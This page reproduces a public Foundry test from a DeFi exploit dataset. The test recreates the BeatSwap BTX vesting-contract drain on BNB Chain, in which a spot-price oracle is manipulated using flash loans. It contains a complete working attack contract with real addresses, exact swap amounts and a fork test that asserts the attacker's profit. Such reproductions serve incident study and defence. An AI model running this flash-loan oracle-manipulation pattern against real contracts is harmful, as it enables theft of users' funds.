Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/BeatXswap_exp.sol

Public reproduction file for dataset entry BeatXswap.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/BeatXswap_exp.sol265 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5
6// BeatSwap (BTX) LiquidityVestingConvert - slot0 spot-price oracle manipulation draining the
7// vesting contracts' own BTX reserves - BNB Chain. Attacker realized ~63,704 USDT profit.
8//
9// Attack tx : 0xcc71a3bb131c73462b0f25533070113a63c85e942a22e18bc945eec184eb5799 (block 120873720)
10// Attacker EOA : 0x67B2f08683A735cfE6f6E57fA86909b62218C2a1
11// Exploit (on-chain, contract-creation tx; the ctor ran the whole attack): 0xaff5A574941981cF7F994f2820F7fA26FE031DEd
12// Victim #1 : 0x1e647FAADb05f2124BFCcFC003EDc06D1A90bf5D (LiquidityVestingConvert, verified)
13// Victim #2 : 0x9a7A92240FBAc4030b65A6E61239928d6Bcc716F (LiquidityVestingConvertOnce, verified, same logic)
14// BTX token : 0xAa242a47F4cC074E59cbC7D65309B1F21202AaA3
15// USDT : 0x55d398326f99059fF775485246999027B3197955
16// Target pool : 0xA5Db84d7BCcb799fb31bd3c417D04d5bC29Da96D (PancakeSwap V3 USDT/BTX, fee 100, the slot0 oracle both victims read)
17//
18// Root cause (confirmed against BeatSwap's verified source, not just the alerts):
19// LiquidityVestingConvert.deposit() is fully permissionless (nonReentrant + whenNotPaused only).
20// It prices BTX off the PancakeSwap V3 pool's spot state with no TWAP, no deviation guard:
21// _calculateQuote(usdtIn): reads TARGET_POOL.slot0().sqrtPriceX96, squares it, and returns
22// requiredBTX = usdtIn * sqrtP^2 / 2^192 (raw spot price, single read)
23// _executeMint(toLP): reads TARGET_POOL.slot0() again for the current tick, builds a
24// +-6000 tick range around it, and mints a V3 LP position pairing the caller's USDT with
25// requiredBTX taken from the contract's OWN BTX reserves, recipient = the vesting contract.
26// The slippage guard is ineffective by construction: amount1Min = requiredBTX * 97 / 100, i.e. it
27// validates the mint against the already-manipulated quote, not against any independent reference,
28// so a crashed spot price passes its own 3% band. deposit() splits 75% of the USDT to treasury and
29// only 25% to the LP, yet sizes the BTX leg off the full manipulated quote, so a tiny USDT deposit
30// drags the contract's entire BTX reserve into a bad-tick position.
31//
32// Attack flow, reconstructed below as ordinary typed calls (no bytecode blob, no raw calldata replay):
33// 1. Flash-borrow 15,950 USDT from Moolah (onMoolahFlashLoan) as working capital.
34// 2. Inside a Pancake Infinity Vault lock (lockAcquired), take 6,000,000 BTX flash from the Vault.
35// 3. Dump BTX into the V3 pool (zeroForOne=false) to crash sqrtPriceX96 -> BTX quotes far too cheap.
36// 4. deposit(10,000 USDT) into victim #1: it mints an LP at the crashed tick using its ~1.24M BTX reserve.
37// 5. Dump more BTX to push the price further, then deposit(2,000 USDT) into victim #2: ~1.83M BTX reserve pulled.
38// 6. Reverse the swap (buy BTX back) to restore the pool, sweeping up the BTX the victims just added as liquidity.
39// 7. Repay the 6M BTX flash to the Vault; sell the net-drained BTX (~2.98M) into the UNMANIPULATED Pancake
40// Infinity CL USDT/BTX pool for ~77,512 USDT; repay Moolah; keep the ~63,704 USDT surplus.
41//
42// The two "reported loss" figures reconcile here: ~2,984,557 BTX / ~77,512 USDT is the BTX drained from the
43// victims and resold on the CL pool (the 77,512 USDT taken from the Vault); ~63,704 USDT is that gross resale
44// minus the swap round-trip and the two 75%-to-treasury deposit costs, i.e. the attacker's net realized profit.
46interface IERC20 {
47 function balanceOf(address) external view returns (uint256);
48 function transfer(address to, uint256 amount) external returns (bool);
49 function transferFrom(address from, address to, uint256 amount) external returns (bool);
50 function approve(address spender, uint256 amount) external returns (bool);
53interface IMoolah {
54 function flashLoan(address token, uint256 amount, bytes calldata data) external;
57// Pancake Infinity Vault (singleton that custodies funds and tracks transient per-locker deltas).
58interface IInfinityVault {
59 function lock(bytes calldata data) external returns (bytes memory);
60 function take(address currency, address to, uint256 amount) external;
61 function sync(address currency) external;
62 function settle() external payable returns (uint256 paid);
63 function currencyDelta(address locker, address currency) external view returns (int256);
66// Pancake Infinity CL pool manager (pool math; operates against the Vault's accounting).
67interface ICLPoolManager {
68 struct PoolKey {
69 address currency0;
70 address currency1;
71 address hooks;
72 address poolManager;
73 uint24 fee;
74 bytes32 parameters;
75 }
77 struct SwapParams {
78 bool zeroForOne;
79 int256 amountSpecified; // negative = exact input (v4/Infinity convention)
80 uint160 sqrtPriceLimitX96;
81 }
83 function swap(PoolKey calldata key, SwapParams calldata params, bytes calldata hookData)
84 external
85 returns (int256 delta);
88interface IPancakeV3Pool {
89 function swap(
90 address recipient,
91 bool zeroForOne,
92 int256 amountSpecified,
93 uint160 sqrtPriceLimitX96,
94 bytes calldata data
95 ) external returns (int256 amount0, int256 amount1);
96 function slot0()
97 external
98 view
99 returns (
100 uint160 sqrtPriceX96,
101 int24 tick,
102 uint16 observationIndex,
103 uint16 observationCardinality,
104 uint16 observationCardinalityNext,
105 uint32 feeProtocol,
106 bool unlocked
107 );
110interface IVesting {
111 function deposit(uint256 usdtAmount) external;
114contract BeatXswapExploit {
115 IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
116 IERC20 constant BTX = IERC20(0xAa242a47F4cC074E59cbC7D65309B1F21202AaA3);
118 IMoolah constant MOOLAH = IMoolah(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);
119 IInfinityVault constant VAULT = IInfinityVault(0x238a358808379702088667322f80aC48bAd5e6c4);
120 ICLPoolManager constant CL_MANAGER = ICLPoolManager(0xa0FfB9c1CE1Fe56963B0321B32E7A0302114058b);
121 address constant CL_HOOK = 0x72e09eBd9b24F47730b651889a4eD984CBa53d90;
123 IPancakeV3Pool constant POOL = IPancakeV3Pool(0xA5Db84d7BCcb799fb31bd3c417D04d5bC29Da96D); // oracle pool
124 IPancakeV3Pool constant POOL996 = IPancakeV3Pool(0x996A155A2BE7729Ae90884795EA61691FBE84079); // BTX trim pool
126 IVesting constant VICTIM1 = IVesting(0x1e647FAADb05f2124BFCcFC003EDc06D1A90bf5D);
127 IVesting constant VICTIM2 = IVesting(0x9a7A92240FBAc4030b65A6E61239928d6Bcc716F);
129 // Exact amounts observed in the attack trace at the parent block; reproduce deterministically on the fork.
130 uint256 constant USDT_FLASH = 15_950e18;
131 uint256 constant BTX_FLASH = 6_000_000e18;
132 uint256 constant DEPOSIT1 = 10_000e18;
133 uint256 constant DEPOSIT2 = 2_000e18;
135 int256 constant DUMP1_IN = 6_000_000e18; // exact-input BTX, capped by price limit
136 uint160 constant DUMP1_LIMIT = 1764781723873694064036615220121;
137 int256 constant DUMP2_IN = 1961580406744256470373928;
138 uint160 constant DUMP2_LIMIT = 4795876676032213778971365538586;
139 int256 constant REVERSE_IN = 48750848698745158899669; // exact-input USDT to buy BTX back
140 uint160 constant MIN_SQRT = 4295128741; // MIN_SQRT_RATIO + 1, price-down floor
141 int256 constant TRIM_IN = 82_500e18; // BTX sold on POOL996 to size the CL sale
142 uint160 constant MAX_SQRT = 1461446703485210103287273052203988822378723970340; // MAX_SQRT_RATIO region
144 function attack() external {
145 // Step 1: Moolah USDT flash loan -> onMoolahFlashLoan callback.
146 MOOLAH.flashLoan(address(USDT), USDT_FLASH, "");
147 }
149 // ---- Moolah flash-loan callback ----
150 function onMoolahFlashLoan(uint256 amount, bytes calldata) external {
151 require(msg.sender == address(MOOLAH), "not moolah");
152 // Step 2: enter the Pancake Infinity Vault lock; it calls back lockAcquired.
153 VAULT.lock("");
154 // Repay Moolah: it pulls the principal via transferFrom after the callback returns (zero fee here).
155 USDT.approve(address(MOOLAH), 0);
156 USDT.approve(address(MOOLAH), amount);
157 }
159 // ---- Pancake Infinity Vault lock callback (the attack body) ----
160 function lockAcquired(bytes calldata) external returns (bytes memory) {
161 require(msg.sender == address(VAULT), "not vault");
163 // Step 2b: flash-take 6M BTX from the Vault (settled at the end of the lock).
164 VAULT.take(address(BTX), address(this), BTX_FLASH);
166 // Step 3: crash the oracle pool's spot price by dumping BTX (zeroForOne=false: BTX in, USDT out).
167 POOL.swap(address(this), false, DUMP1_IN, DUMP1_LIMIT, hex"01");
169 // Step 4: deposit into victim #1 while the price is crashed -> it mints an LP draining its BTX reserve.
170 USDT.approve(address(VICTIM1), DEPOSIT1);
171 VICTIM1.deposit(DEPOSIT1);
173 // Step 5: push the price further, then deposit into victim #2.
174 POOL.swap(address(this), false, DUMP2_IN, DUMP2_LIMIT, hex"01");
175 USDT.approve(address(VICTIM2), DEPOSIT2);
176 VICTIM2.deposit(DEPOSIT2);
178 // Step 6: reverse the swap (zeroForOne=true: USDT in, BTX out) to restore the pool and sweep the
179 // liquidity the victims just added, recovering far more BTX than was dumped.
180 POOL.swap(address(this), true, REVERSE_IN, MIN_SQRT, hex"01");
182 // Step 7a: repay the 6M BTX flash to the Vault.
183 VAULT.sync(address(BTX));
184 BTX.transfer(address(VAULT), BTX_FLASH);
185 VAULT.settle();
187 // Step 7b: trim a slice of BTX on a thin pool to size the CL sale exactly.
188 POOL996.swap(address(this), false, TRIM_IN, MAX_SQRT, hex"01");
190 // Step 7c: sell the net-drained BTX into the UNMANIPULATED Pancake Infinity CL USDT/BTX pool.
191 uint256 btxToSell = BTX.balanceOf(address(this));
192 ICLPoolManager.PoolKey memory key = ICLPoolManager.PoolKey({
193 currency0: address(USDT),
194 currency1: address(BTX),
195 hooks: CL_HOOK,
196 poolManager: address(CL_MANAGER),
197 fee: 67,
198 parameters: 0x00000000000000000000000000000000000000000000000000000000000a0055
199 });
200 ICLPoolManager.SwapParams memory sp = ICLPoolManager.SwapParams({
201 zeroForOne: false, // BTX(currency1) in, USDT(currency0) out
202 amountSpecified: -int256(btxToSell), // exact input of all remaining BTX
203 sqrtPriceLimitX96: MAX_SQRT
204 });
205 CL_MANAGER.swap(key, sp, "");
207 // Step 7d: settle the CL deltas - pay the BTX we owe, take the USDT we are owed.
208 VAULT.sync(address(BTX));
209 BTX.transfer(address(VAULT), btxToSell);
210 VAULT.settle();
211 int256 usdtCredit = VAULT.currencyDelta(address(this), address(USDT));
212 require(usdtCredit > 0, "no usdt credit");
213 VAULT.take(address(USDT), address(this), uint256(usdtCredit));
215 return "";
216 }
218 // ---- V3 swap callbacks: pay whichever token we owe (positive delta). token0=USDT, token1=BTX. ----
219 function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {
220 _payV3(amount0Delta, amount1Delta);
221 }
223 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {
224 _payV3(amount0Delta, amount1Delta);
225 }
227 function _payV3(int256 amount0Delta, int256 amount1Delta) internal {
228 if (amount0Delta > 0) USDT.transfer(msg.sender, uint256(amount0Delta));
229 if (amount1Delta > 0) BTX.transfer(msg.sender, uint256(amount1Delta));
230 }
233contract BeatXswap_exp is Test {
234 IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
235 IERC20 constant BTX = IERC20(0xAa242a47F4cC074E59cbC7D65309B1F21202AaA3);
236 address constant VICTIM1 = 0x1e647FAADb05f2124BFCcFC003EDc06D1A90bf5D;
237 address constant VICTIM2 = 0x9a7A92240FBAc4030b65A6E61239928d6Bcc716F;
239 function setUp() public {
240 vm.createSelectFork("bsc", 120873719); // parent block of the exploit tx
241 }
243 /// forge-config: default.evm_version = "cancun"
244 function testExploit() public {
245 emit log_named_decimal_uint("victim1 BTX reserve before", BTX.balanceOf(VICTIM1), 18);
246 emit log_named_decimal_uint("victim2 BTX reserve before", BTX.balanceOf(VICTIM2), 18);
248 BeatXswapExploit exploit = new BeatXswapExploit();
250 assertEq(USDT.balanceOf(address(exploit)), 0, "attacker should start with no USDT");
251 assertEq(BTX.balanceOf(address(exploit)), 0, "attacker should start with no BTX");
253 exploit.attack();
255 uint256 profit = USDT.balanceOf(address(exploit));
256 emit log_named_decimal_uint("victim1 BTX reserve after ", BTX.balanceOf(VICTIM1), 18);
257 emit log_named_decimal_uint("victim2 BTX reserve after ", BTX.balanceOf(VICTIM2), 18);
258 emit log_named_decimal_uint("attacker USDT profit ", profit, 18);
260 // Both flash loans repaid inside attack(); no BTX left over.
261 assertEq(BTX.balanceOf(address(exploit)), 0, "BTX flash not fully repaid");
262 // Realized profit matches the on-chain 63,704.837... USDT sent to the attacker EOA.
263 assertApproxEqRel(profit, 63_704_837356523361110351, 0.01e18, "profit off expected ~63.7K USDT");
264 }

Analysis

Dataset entry

Public Foundry test for “BeatXswap” (2026-09-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x67b2f08683a735cfe6f6e57fa86909b62218c2a1

  • Victim

    0x1e647faadb05f2124bfccfc003edc06d1a90bf5d

  • Victim

    0x9a7a92240fbac4030b65a6e61239928d6bcc716f

  • Attack Tx

    0xcc71a3bb131c73462b0f25533070113a63c85e942a22e18bc945eec184eb5799

File record

Name
BeatXswap
Path
src/test/2026-09/BeatXswap_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ce4fb3c4ad4f7450c37c4bb47be1e8489d4f0d02
Language
Solidity
Size
266 lines
Date
2026-09-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/BeatXswap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ce4fb3c4ad4f7450c37c4bb47be1e8489d4f0d02, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.